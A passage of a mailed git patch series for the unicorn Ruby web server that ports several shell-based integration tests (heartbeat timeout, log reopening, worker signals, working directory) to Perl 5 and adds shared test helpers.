+ open $fh, '>', $fooapp;
+ print $fh <<EOM;
+class Fooapp
+ def self.call(env)
+ b = "dir=#{Dir.pwd}"
+ h = { 'content-type' => 'text/plain', 'content-length' => b.bytesize.to_s }
+ [ 200, h, [ b ] ]
+ end
+end
+EOM
+ close $fh;
+ my $srv = tcp_server;
+ my $auto_reap = unicorn(qw(-c), $u_conf, qw(-I. fooapp.rb),
+ { -C => '/', 3 => $srv });
+ $c = tcp_start($srv, 'GET / HTTP/1.0');
+ ($status, $hdr) = slurp_hdr($c);
+ chomp($bdy = do { local $/; <$c> });
+ is($bdy, "dir=$tmpdir/alt",
+ 'fooapp.rb (w/o config.ru) w/ working_directory');
+ close $c;
+ $auto_reap->join('TERM');
+ is($?, 0, 'fooapp.rb process exited');
+ check_stderr;
+}
+
+undef $tmpdir;
+done_testing;
[-- Attachment #4: 0003-tests-port-t-heartbeat-timeout-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 3478 bytes --]
From d67284a692683bca59effd9c0670bd5dd47e4fa3 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Thu, 7 Sep 2023 23:53:58 +0000
Subject: [PATCH 03/11] tests: port t/heartbeat-timeout to Perl 5
I absolutely detest and regret adding this feature,
but I'm hell bent on supporting it until the end of days
because we don't break compatibility.
---
t/heartbeat-timeout.ru | 2 +-
t/heartbeat-timeout.t | 69 ++++++++++++++++++++++++++++++++++++
t/t0004-heartbeat-timeout.sh | 69 ------------------------------------
3 files changed, 70 insertions(+), 70 deletions(-)
create mode 100644 t/heartbeat-timeout.t
delete mode 100755 t/t0004-heartbeat-timeout.sh
diff --git a/t/heartbeat-timeout.ru b/t/heartbeat-timeout.ru
index 20a79380..3eeb5d64 100644
--- a/t/heartbeat-timeout.ru
+++ b/t/heartbeat-timeout.ru
@@ -7,6 +7,6 @@
sleep # in case STOP signal is not received in time
[ 500, headers, [ "Should never get here\n" ] ]
else
- [ 200, headers, [ "#$$\n" ] ]
+ [ 200, headers, [ "#$$" ] ]
end
}
diff --git a/t/heartbeat-timeout.t b/t/heartbeat-timeout.t
new file mode 100644
index 00000000..1fcf21a2
--- /dev/null
+++ b/t/heartbeat-timeout.t
@@ -0,0 +1,69 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+use Time::HiRes qw(clock_gettime CLOCK_MONOTONIC);
+mkdir "$tmpdir/alt";
+my $srv = tcp_server();
+my $u_conf = "$tmpdir/u.conf.rb";
+open my $fh, '>', $u_conf;
+print $fh <<EOM;
+pid "$tmpdir/pid"
+preload_app true
+stderr_path "$err_log"
+timeout 3 # WORST FEATURE EVER
+EOM
+close $fh;
+
+my $ar = unicorn(qw(-E none t/heartbeat-timeout.ru -c), $u_conf, { 3 => $srv });
+
+my $c = tcp_start($srv, 'GET /pid HTTP/1.0');
+my ($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'PID request succeeds');
+my $wpid = do { local $/; <$c> };
+like($wpid, qr/\A[0-9]+\z/, 'worker is running');
+
+my $t0 = clock_gettime(CLOCK_MONOTONIC);
+$c = tcp_start($srv, 'GET /block-forever HTTP/1.0');
+vec(my $rvec = '', fileno($c), 1) = 1;
+is(select($rvec, undef, undef, 6), 1, 'got readiness');
+$c->blocking(0);
+is(sysread($c, my $buf, 128), 0, 'got EOF response');
+my $elapsed = clock_gettime(CLOCK_MONOTONIC) - $t0;
+ok($elapsed > 3, 'timeout took >3s');
+
+my @timeout_err = slurp($err_log);
+truncate($err_log, 0);
+is(grep(/timeout \(\d+s > 3s\), killing/, @timeout_err), 1,
+ 'noted timeout error') or diag explain(\@timeout_err);
+
+# did it respawn?
+$c = tcp_start($srv, 'GET /pid HTTP/1.0');
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'PID request succeeds');
+my $new_pid = do { local $/; <$c> };
+isnt($new_pid, $wpid, 'spawned new worker');
+
+diag 'SIGSTOP for 4 seconds...';
+$ar->do_kill('STOP');
+sleep 4;
+$ar->do_kill('CONT');
+for my $i (1..2) {
+ $c = tcp_start($srv, 'GET /pid HTTP/1.0');
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 200\b!,
+ "PID request succeeds #$i after STOP+CONT");
+ my $spid = do { local $/; <$c> };
+ is($new_pid, $spid, "worker pid unchanged after STOP+CONT #$i");
+ if ($i == 1) {
+ diag 'sleeping 2s to ensure timeout is not delayed';
+ sleep 2;
+ }
+}
+
+$ar->join('TERM');
+check_stderr;
+undef $tmpdir;
+
+done_testing;
diff --git a/t/t0004-heartbeat-timeout.sh b/t/t0004-heartbeat-timeout.sh
deleted file mode 100755
index 29652837..00000000
[-- Attachment #5: 0004-tests-port-reopen-logs-test-over-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 2317 bytes --]
From 1607ac966f604ec4cf383025c4c3ee296f638fff Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 07:13:11 +0000
Subject: [PATCH 04/11] tests: port reopen logs test over to Perl 5
Being able to do subsecond sleeps is one welcome advantage
over POSIX (not GNU) sleep(1) in portable Bourne sh.
---
t/{t0006.ru => reopen-logs.ru} | 0
t/reopen-logs.t | 43 ++++++++++++++++++
t/t0006-reopen-logs.sh | 83 ----------------------------------
3 files changed, 43 insertions(+), 83 deletions(-)
rename t/{t0006.ru => reopen-logs.ru} (100%)
create mode 100644 t/reopen-logs.t
delete mode 100755 t/t0006-reopen-logs.sh
diff --git a/t/t0006.ru b/t/reopen-logs.ru
similarity index 100%
rename from t/t0006.ru
rename to t/reopen-logs.ru
diff --git a/t/reopen-logs.t b/t/reopen-logs.t
new file mode 100644
index 00000000..e1bf524c
--- /dev/null
+++ b/t/reopen-logs.t
@@ -0,0 +1,43 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+my $srv = tcp_server();
+my $u_conf = "$tmpdir/u.conf.rb";
+my $out_log = "$tmpdir/out.log";
+open my $fh, '>', $u_conf;
+print $fh <<EOM;
+stderr_path "$err_log"
+stdout_path "$out_log"
+EOM
+close $fh;
+
+my $auto_reap = unicorn('-c', $u_conf, 't/reopen-logs.ru', { 3 => $srv } );
+my $c = tcp_start($srv, 'GET / HTTP/1.0');
+my ($status, $hdr) = slurp_hdr($c);
+my $bdy = do { local $/; <$c> };
+is($bdy, "true\n", 'logs opened');
+
+rename($err_log, "$err_log.rot");
+rename($out_log, "$out_log.rot");
+
+$auto_reap->do_kill('USR1');
+
+my $tries = 1000;
+while (!-f $err_log && --$tries) { select undef, undef, undef, 0.01 };
+while (!-f $out_log && --$tries) { select undef, undef, undef, 0.01 };
+
+ok(-f $out_log, 'stdout_path recreated after USR1');
+ok(-f $err_log, 'stderr_path recreated after USR1');
+
+$c = tcp_start($srv, 'GET / HTTP/1.0');
+($status, $hdr) = slurp_hdr($c);
+$bdy = do { local $/; <$c> };
+is($bdy, "true\n", 'logs reopened with sync==true');
+
+$auto_reap->join('QUIT');
+is($?, 0, 'no error on exit');
+check_stderr;
+undef $tmpdir;
+done_testing;
diff --git a/t/t0006-reopen-logs.sh b/t/t0006-reopen-logs.sh
deleted file mode 100755
index a6e7a17c..00000000
[-- Attachment #6: 0005-tests-rewrite-SIGWINCH-SIGTTIN-test-in-Perl-5.patch --]
[-- Type: text/x-diff, Size: 2916 bytes --]
From 86aea575c331a3b5242db1c14a848928a37ff9e3 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 08:27:04 +0000
Subject: [PATCH 05/11] tests: rewrite SIGWINCH && SIGTTIN test in Perl 5
No need to deal with full second sleeps, here.
---
t/t0009-winch_ttin.sh | 59 -----------------------------------
t/winch_ttin.t | 72 +++++++++++++++++++++++++++++++++++++++++++
2 files changed, 72 insertions(+), 59 deletions(-)
delete mode 100755 t/t0009-winch_ttin.sh
create mode 100644 t/winch_ttin.t
diff --git a/t/t0009-winch_ttin.sh b/t/t0009-winch_ttin.sh
deleted file mode 100755
index 6e56e30c..00000000
diff --git a/t/winch_ttin.t b/t/winch_ttin.t
new file mode 100644
index 00000000..1a198778
--- /dev/null
+++ b/t/winch_ttin.t
@@ -0,0 +1,72 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+use POSIX qw(mkfifo);
+my $u_conf = "$tmpdir/u.conf.rb";
+my $u_sock = "$tmpdir/u.sock";
+my $fifo = "$tmpdir/fifo";
+mkfifo($fifo, 0666) or die "mkfifo($fifo): $!";
+
+open my $fh, '>', $u_conf;
+print $fh <<EOM;
+pid "$tmpdir/pid"
+listen "$u_sock"
+stderr_path "$err_log"
+after_fork do |server, worker|
+ # test script will block while reading from $fifo,
+ File.open("$fifo", "wb") { |fp| fp.syswrite worker.nr.to_s }
+end
+EOM
+close $fh;
+
+unicorn('-D', '-c', $u_conf, 't/integration.ru')->join;
+is($?, 0, 'daemonized properly');
+open $fh, '<', "$tmpdir/pid";
+chomp(my $pid = <$fh>);
+ok(kill(0, $pid), 'daemonized PID works');
+my $quit = sub { kill('QUIT', $pid) if $pid; $pid = undef };
+END { $quit->() };
+
+open $fh, '<', $fifo;
+my $worker_nr = <$fh>;
+close $fh;
+is($worker_nr, '0', 'initial worker spawned');
+
+my $c = unix_start($u_sock, 'GET /pid HTTP/1.0');
+my ($status, $hdr) = slurp_hdr($c);
+like($status, qr/ 200\b/, 'got 200 response');
+my $worker_pid = do { local $/; <$c> };
+like($worker_pid, qr/\A[0-9]+\n\z/s, 'PID in response');
+chomp $worker_pid;
+ok(kill(0, $worker_pid), 'worker_pid is valid');
+
+ok(kill('WINCH', $pid), 'SIGWINCH can be sent');
+
+my $tries = 1000;
+while (CORE::kill(0, $worker_pid) && --$tries) {
+ select undef, undef, undef, 0.01;
+}
+ok(!CORE::kill(0, $worker_pid), 'worker not running');
+
+ok(kill('TTIN', $pid), 'SIGTTIN to restart worker');
+
+open $fh, '<', $fifo;
+$worker_nr = <$fh>;
+close $fh;
+is($worker_nr, '0', 'worker restarted');
+
+$c = unix_start($u_sock, 'GET /pid HTTP/1.0');
+($status, $hdr) = slurp_hdr($c);
+like($status, qr/ 200\b/, 'got 200 response');
+chomp(my $new_worker_pid = do { local $/; <$c> });
+like($new_worker_pid, qr/\A[0-9]+\z/, 'got new worker PID');
+ok(kill(0, $new_worker_pid), 'got a valid worker PID');
+isnt($worker_pid, $new_worker_pid, 'worker PID changed');
+
+$quit->();
+
+check_stderr;
+undef $tmpdir;
+done_testing;
[-- Attachment #7: 0006-tests-introduce-do_req-helper-sub.patch --]
[-- Type: text/x-diff, Size: 11556 bytes --]
From 29885f0d95aaa8e1d1f6cf3b791d9f08338a511e Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 09:15:16 +0000
Subject: [PATCH 06/11] tests: introduce `do_req' helper sub
While early tests required fine-grained control in trickling
requests, many of our later tests can use a short one-liner
w/o having to spawn curl.
---
t/heartbeat-timeout.t | 12 +++---------
t/integration.t | 33 +++++++++++++--------------------
t/lib.perl | 16 +++++++++++++++-
t/reload-bad-config.t | 8 ++------
t/reopen-logs.t | 8 ++------
t/winch_ttin.t | 11 ++++-------
t/working_directory.t | 17 +++++------------
7 files changed, 44 insertions(+), 61 deletions(-)
diff --git a/t/heartbeat-timeout.t b/t/heartbeat-timeout.t
index 1fcf21a2..ce1f7e16 100644
--- a/t/heartbeat-timeout.t
+++ b/t/heartbeat-timeout.t
@@ -18,10 +18,8 @@ close $fh;
my $ar = unicorn(qw(-E none t/heartbeat-timeout.ru -c), $u_conf, { 3 => $srv });
-my $c = tcp_start($srv, 'GET /pid HTTP/1.0');
-my ($status, $hdr) = slurp_hdr($c);
+my ($status, $hdr, $wpid) = do_req($srv, 'GET /pid HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!, 'PID request succeeds');
-my $wpid = do { local $/; <$c> };
like($wpid, qr/\A[0-9]+\z/, 'worker is running');
my $t0 = clock_gettime(CLOCK_MONOTONIC);
@@ -39,10 +37,8 @@ is(grep(/timeout \(\d+s > 3s\), killing/, @timeout_err), 1,
'noted timeout error') or diag explain(\@timeout_err);
# did it respawn?
-$c = tcp_start($srv, 'GET /pid HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
+($status, $hdr, my $new_pid) = do_req($srv, 'GET /pid HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!, 'PID request succeeds');
-my $new_pid = do { local $/; <$c> };
isnt($new_pid, $wpid, 'spawned new worker');
diag 'SIGSTOP for 4 seconds...';
@@ -50,11 +46,9 @@ $ar->do_kill('STOP');
sleep 4;
$ar->do_kill('CONT');
for my $i (1..2) {
- $c = tcp_start($srv, 'GET /pid HTTP/1.0');
- ($status, $hdr) = slurp_hdr($c);
+ ($status, $hdr, my $spid) = do_req($srv, 'GET /pid HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!,
"PID request succeeds #$i after STOP+CONT");
- my $spid = do { local $/; <$c> };
is($new_pid, $spid, "worker pid unchanged after STOP+CONT #$i");
if ($i == 1) {
diag 'sleeping 2s to ensure timeout is not delayed';
diff --git a/t/integration.t b/t/integration.t
index bb2ab51b..13b07467 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -62,11 +62,10 @@ EOM
},
);
-my ($c, $status, $hdr);
+my ($c, $status, $hdr, $bdy);
# response header tests
-$c = tcp_start($srv, 'GET /rack-2-newline-headers HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
+($status, $hdr) = do_req($srv, 'GET /rack-2-newline-headers HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
my $orig_200_status = $status;
is_deeply([ grep(/^X-R2: /, @$hdr) ],
@@ -84,16 +83,16 @@ SKIP: { # Date header check
};
-$c = tcp_start($srv, 'GET /rack-3-array-headers HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
+($status, $hdr) = do_req($srv, 'GET /rack-3-array-headers HTTP/1.0');
is_deeply([ grep(/^x-r3: /, @$hdr) ],
[ 'x-r3: a', 'x-r3: b', 'x-r3: c' ],
'rack 3 array headers supported') or diag(explain($hdr));
SKIP: {
eval { require JSON::PP } or skip "JSON::PP missing: $@", 1;
- my $c = tcp_start($srv, 'GET /env_dump');
- my $json = do { local $/; readline($c) };
+ ($status, $hdr, my $json) = do_req $srv, 'GET /env_dump';
+ is($status, undef, 'no status for HTTP/0.9');
+ is($hdr, undef, 'no header for HTTP/0.9');
unlike($json, qr/^Connection: /smi, 'no connection header for 0.9');
unlike($json, qr!\AHTTP/!s, 'no HTTP/1.x prefix for 0.9');
my $env = JSON::PP->new->decode($json);
@@ -102,8 +101,7 @@ SKIP: {
}
# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
-$c = tcp_start($srv, 'GET /nil-header-value HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
+($status, $hdr) = do_req($srv, 'GET /nil-header-value HTTP/1.0');
is_deeply([grep(/^X-Nil:/, @$hdr)], ['X-Nil: '],
'nil header value accepted for broken apps') or diag(explain($hdr));
@@ -128,12 +126,10 @@ my $ck_early_hints = sub {
$ck_early_hints->('ccc off'); # we'll retest later
if ('TODO: ensure Rack::Utils::HTTP_STATUS_CODES is available') {
- $c = tcp_start($srv, 'POST /tweak-status-code HTTP/1.0');
- ($status, $hdr) = slurp_hdr($c);
+ ($status, $hdr) = do_req $srv, 'POST /tweak-status-code HTTP/1.0';
like($status, qr!\AHTTP/1\.[01] 200 HI\b!, 'status tweaked');
- $c = tcp_start($srv, 'POST /restore-status-code HTTP/1.0');
- ($status, $hdr) = slurp_hdr($c);
+ ($status, $hdr) = do_req $srv, 'POST /restore-status-code HTTP/1.0';
is($status, $orig_200_status, 'original status restored');
}
@@ -145,12 +141,11 @@ SKIP: {
}
if ('bad requests') {
- $c = tcp_start($srv, 'GET /env_dump HTTP/1/1');
- ($status, $hdr) = slurp_hdr($c);
+ ($status, $hdr) = do_req $srv, 'GET /env_dump HTTP/1/1';
like($status, qr!\AHTTP/1\.[01] 400 \b!, 'got 400 on bad request');
$c = tcp_start($srv);
- print $c 'GET /';;
+ print $c 'GET /';
my $buf = join('', (0..9), 'ab');
for (0..1023) { print $c $buf }
print $c " HTTP/1.0\r\n\r\n";
@@ -308,12 +303,10 @@ EOM
$wpid =~ s/\Apid=// or die;
ok(CORE::kill(0, $wpid), 'worker PID retrieved');
- $c = tcp_start($srv, $req);
- ($status, $hdr) = slurp_hdr($c);
+ ($status, $hdr) = do_req($srv, $req);
like($status, qr!\AHTTP/1\.[01] 200\b!, 'minimal request succeeds');
- $c = tcp_start($srv, 'GET /xxxxxx HTTP/1.0');
- ($status, $hdr) = slurp_hdr($c);
+ ($status, $hdr) = do_req($srv, 'GET /xxxxxx HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 413\b!, 'big request fails');
}
diff --git a/t/lib.perl b/t/lib.perl
index 7de9e426..13e390d6 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -12,7 +12,8 @@ use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh, $err_log);
our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn
$tmpdir $errfh $err_log
- SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr);
+ SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr
+ do_req);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
@@ -182,6 +183,19 @@ sub unicorn {
UnicornTest::AutoReap->new($pid);
}
+sub do_req ($@) {
+ my ($dst, @req) = @_;
+ my $c = ref($dst) ? tcp_start($dst, @req) : unix_start($dst, @req);
+ return $c if !wantarray;
+ my ($status, $hdr);
+ # read headers iff HTTP/1.x request, HTTP/0.9 remains supported
+ my ($first) = (join('', @req) =~ m!\A([^\r\n]+)!);
+ ($status, $hdr) = slurp_hdr($c) if $first =~ m{\s*HTTP/\S+$};
+ my $bdy = do { local $/; <$c> };
+ close $c;
+ ($status, $hdr, $bdy);
+}
+
# automatically kill + reap children when this goes out-of-scope
package UnicornTest::AutoReap;
use v5.14;
diff --git a/t/reload-bad-config.t b/t/reload-bad-config.t
index c7055c7e..543421da 100644
--- a/t/reload-bad-config.t
+++ b/t/reload-bad-config.t
@@ -25,9 +25,7 @@ EOM
close $fh;
my $ar = unicorn(qw(-E none -c), $u_conf, $ru, { 3 => $srv });
-my $c = tcp_start($srv, 'GET / HTTP/1.0');
-my ($status, $hdr) = slurp_hdr($c);
-my $bdy = do { local $/; <$c> };
+my ($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid at start');
is($bdy, "hello world\n", 'body matches expected');
@@ -47,9 +45,7 @@ ok(grep(/error reloading/, @l), 'got error reloading');
open $fh, '>', $err_log;
close $fh;
-$c = tcp_start($srv, 'GET / HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
-$bdy = do { local $/; <$c> };
+($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid afte reload');
is($bdy, "hello world\n", 'body matches expected after reload');
diff --git a/t/reopen-logs.t b/t/reopen-logs.t
index e1bf524c..8a58c1b9 100644
--- a/t/reopen-logs.t
+++ b/t/reopen-logs.t
@@ -14,9 +14,7 @@ EOM
close $fh;
my $auto_reap = unicorn('-c', $u_conf, 't/reopen-logs.ru', { 3 => $srv } );
-my $c = tcp_start($srv, 'GET / HTTP/1.0');
-my ($status, $hdr) = slurp_hdr($c);
-my $bdy = do { local $/; <$c> };
+my ($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
is($bdy, "true\n", 'logs opened');
rename($err_log, "$err_log.rot");
@@ -31,9 +29,7 @@ while (!-f $out_log && --$tries) { select undef, undef, undef, 0.01 };
ok(-f $out_log, 'stdout_path recreated after USR1');
ok(-f $err_log, 'stderr_path recreated after USR1');
-$c = tcp_start($srv, 'GET / HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
-$bdy = do { local $/; <$c> };
+($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
is($bdy, "true\n", 'logs reopened with sync==true');
$auto_reap->join('QUIT');
diff --git a/t/winch_ttin.t b/t/winch_ttin.t
index 1a198778..509b118f 100644
--- a/t/winch_ttin.t
+++ b/t/winch_ttin.t
@@ -34,10 +34,8 @@ my $worker_nr = <$fh>;
close $fh;
is($worker_nr, '0', 'initial worker spawned');
-my $c = unix_start($u_sock, 'GET /pid HTTP/1.0');
-my ($status, $hdr) = slurp_hdr($c);
+my ($status, $hdr, $worker_pid) = do_req($u_sock, 'GET /pid HTTP/1.0');
like($status, qr/ 200\b/, 'got 200 response');
-my $worker_pid = do { local $/; <$c> };
like($worker_pid, qr/\A[0-9]+\n\z/s, 'PID in response');
chomp $worker_pid;
ok(kill(0, $worker_pid), 'worker_pid is valid');
@@ -57,11 +55,10 @@ $worker_nr = <$fh>;
close $fh;
is($worker_nr, '0', 'worker restarted');
-$c = unix_start($u_sock, 'GET /pid HTTP/1.0');
-($status, $hdr) = slurp_hdr($c);
+($status, $hdr, my $new_worker_pid) = do_req($u_sock, 'GET /pid HTTP/1.0');
like($status, qr/ 200\b/, 'got 200 response');
-chomp(my $new_worker_pid = do { local $/; <$c> });
-like($new_worker_pid, qr/\A[0-9]+\z/, 'got new worker PID');
+like($new_worker_pid, qr/\A[0-9]+\n\z/, 'got new worker PID');
+chomp $new_worker_pid;
ok(kill(0, $new_worker_pid), 'got a valid worker PID');
isnt($worker_pid, $new_worker_pid, 'worker PID changed');
diff --git a/t/working_directory.t b/t/working_directory.t
index e7ff43a5..6c974720 100644
--- a/t/working_directory.t
+++ b/t/working_directory.t
@@ -52,10 +52,8 @@ END { $stop_daemon->(1) if defined $pid };
unicorn('-c', $u_conf)->join; # will daemonize
chomp($pid = slurp("$tmpdir/pid"));
-my $c = unix_start($u_sock, 'GET / HTTP/1.0');
-my ($status, $hdr) = slurp_hdr($c);
-chomp(my $bdy = do { local $/; <$c> });
-is($bdy, 1, 'got expected $master_ppid');
+my ($status, $hdr, $bdy) = do_req($u_sock, 'GET / HTTP/1.0');
+is($bdy, "1\n", 'got expected $master_ppid');
$stop_daemon->();
check_stderr;
@@ -69,10 +67,8 @@ if ('test without CLI switches in config.ru') {
unicorn('-D', '-l', $u_sock, '-c', $u_conf)->join; # will daemonize
chomp($pid = slurp("$tmpdir/pid"));
- $c = unix_start($u_sock, 'GET / HTTP/1.0');
- ($status, $hdr) = slurp_hdr($c);
- chomp($bdy = do { local $/; <$c> });
- is($bdy, 1, 'got expected $master_ppid');
+ ($status, $hdr, $bdy) = do_req($u_sock, 'GET / HTTP/1.0');
+ is($bdy, "1\n", 'got expected $master_ppid');
$stop_daemon->();
check_stderr;
@@ -107,12 +103,9 @@ EOM
my $srv = tcp_server;
my $auto_reap = unicorn(qw(-c), $u_conf, qw(-I. fooapp.rb),
{ -C => '/', 3 => $srv });
- $c = tcp_start($srv, 'GET / HTTP/1.0');
- ($status, $hdr) = slurp_hdr($c);
- chomp($bdy = do { local $/; <$c> });
+ ($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
is($bdy, "dir=$tmpdir/alt",
'fooapp.rb (w/o config.ru) w/ working_directory');
- close $c;
$auto_reap->join('TERM');
is($?, 0, 'fooapp.rb process exited');
check_stderr;
[-- Attachment #8: 0007-tests-use-more-common-variable-names-between-tests.patch --]
[-- Type: text/x-diff, Size: 6507 bytes --]
From 948f78403172657590d690b9255467b9ccb968cd Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 09:31:44 +0000
Subject: [PATCH 07/11] tests: use more common variable names between tests
Stuff like $u_conf, $daemon_pid, $pid_file, etc. will
reduce cognitive overhead.
---
t/active-unix-socket.t | 2 +-
t/client_body_buffer_size.t | 6 ++----
t/heartbeat-timeout.t | 3 +--
t/integration.t | 5 ++---
t/lib.perl | 31 +++++++++++++++++++++++++++----
t/working_directory.t | 31 +++++--------------------------
6 files changed, 38 insertions(+), 40 deletions(-)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index 4dcc8dc6..32cb0c2e 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -15,7 +15,7 @@ my $u2 = "$tmpdir/u2.sock";
print $fh <<EOM;
pid "$tmpdir/u.pid"
listen "$u1"
-stderr_path "$tmpdir/err.log"
+stderr_path "$err_log"
EOM
close $fh;
diff --git a/t/client_body_buffer_size.t b/t/client_body_buffer_size.t
index 3067f284..d4799012 100644
--- a/t/client_body_buffer_size.t
+++ b/t/client_body_buffer_size.t
@@ -4,16 +4,14 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
-my $uconf = "$tmpdir/u.conf.rb";
-
-open my $conf_fh, '>', $uconf;
+open my $conf_fh, '>', $u_conf;
$conf_fh->autoflush(1);
print $conf_fh <<EOM;
client_body_buffer_size 0
EOM
my $srv = tcp_server();
my $host_port = tcp_host_port($srv);
-my @uarg = (qw(-E none t/client_body_buffer_size.ru -c), $uconf);
+my @uarg = (qw(-E none t/client_body_buffer_size.ru -c), $u_conf);
my $ar = unicorn(@uarg, { 3 => $srv });
my ($c, $status, $hdr);
my $mem_class = 'StringIO';
diff --git a/t/heartbeat-timeout.t b/t/heartbeat-timeout.t
index ce1f7e16..694867a4 100644
--- a/t/heartbeat-timeout.t
+++ b/t/heartbeat-timeout.t
@@ -6,7 +6,6 @@ use autodie;
use Time::HiRes qw(clock_gettime CLOCK_MONOTONIC);
mkdir "$tmpdir/alt";
my $srv = tcp_server();
-my $u_conf = "$tmpdir/u.conf.rb";
open my $fh, '>', $u_conf;
print $fh <<EOM;
pid "$tmpdir/pid"
@@ -23,7 +22,7 @@ like($status, qr!\AHTTP/1\.[01] 200\b!, 'PID request succeeds');
like($wpid, qr/\A[0-9]+\z/, 'worker is running');
my $t0 = clock_gettime(CLOCK_MONOTONIC);
-$c = tcp_start($srv, 'GET /block-forever HTTP/1.0');
+my $c = tcp_start($srv, 'GET /block-forever HTTP/1.0');
vec(my $rvec = '', fileno($c), 1) = 1;
is(select($rvec, undef, undef, 6), 1, 'got readiness');
$c->blocking(0);
diff --git a/t/integration.t b/t/integration.t
index 13b07467..eb40ffc7 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -10,15 +10,14 @@ use autodie;
our $srv = tcp_server();
our $host_port = tcp_host_port($srv);
my $t0 = time;
-my $conf = "$tmpdir/u.conf.rb";
-open my $conf_fh, '>', $conf;
+open my $conf_fh, '>', $u_conf;
$conf_fh->autoflush(1);
my $u1 = "$tmpdir/u1";
print $conf_fh <<EOM;
early_hints true
listen "$u1"
EOM
-my $ar = unicorn(qw(-E none t/integration.ru -c), $conf, { 3 => $srv });
+my $ar = unicorn(qw(-E none t/integration.ru -c), $u_conf, { 3 => $srv });
my $curl = which('curl');
my $fifo = "$tmpdir/fifo";
POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
diff --git a/t/lib.perl b/t/lib.perl
index 13e390d6..244972bc 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -6,20 +6,43 @@ use v5.14;
use parent qw(Exporter);
use autodie;
use Test::More;
+use Time::HiRes qw(sleep);
use IO::Socket::INET;
use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
-our ($tmpdir, $errfh, $err_log);
+our ($tmpdir, $errfh, $err_log, $u_sock, $u_conf, $daemon_pid,
+ $pid_file);
our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn
- $tmpdir $errfh $err_log
+ $tmpdir $errfh $err_log $u_sock $u_conf $daemon_pid $pid_file
SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr
- do_req);
+ do_req stop_daemon);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
$err_log = "$tmpdir/err.log";
+$pid_file = "$tmpdir/pid";
+$u_sock = "$tmpdir/u.sock";
+$u_conf = "$tmpdir/u.conf.rb";
open($errfh, '>>', $err_log);
-END { diag slurp($err_log) if $tmpdir };
+
+sub stop_daemon (;$) {
+ my ($is_END) = @_;
+ kill('TERM', $daemon_pid);
+ my $tries = 1000;
+ while (CORE::kill(0, $daemon_pid) && --$tries) { sleep(0.01) }
+ if ($is_END && CORE::kill(0, $daemon_pid)) { # after done_testing
+ CORE::kill('KILL', $daemon_pid);
+ die "daemon_pid=$daemon_pid did not die";
+ } else {
+ ok(!CORE::kill(0, $daemon_pid), 'daemonized unicorn gone');
+ undef $daemon_pid;
+ }
+};
+
+END {
+ diag slurp($err_log) if $tmpdir;
+ stop_daemon(1) if defined $daemon_pid;
+};
sub check_stderr () {
my @log = slurp($err_log);
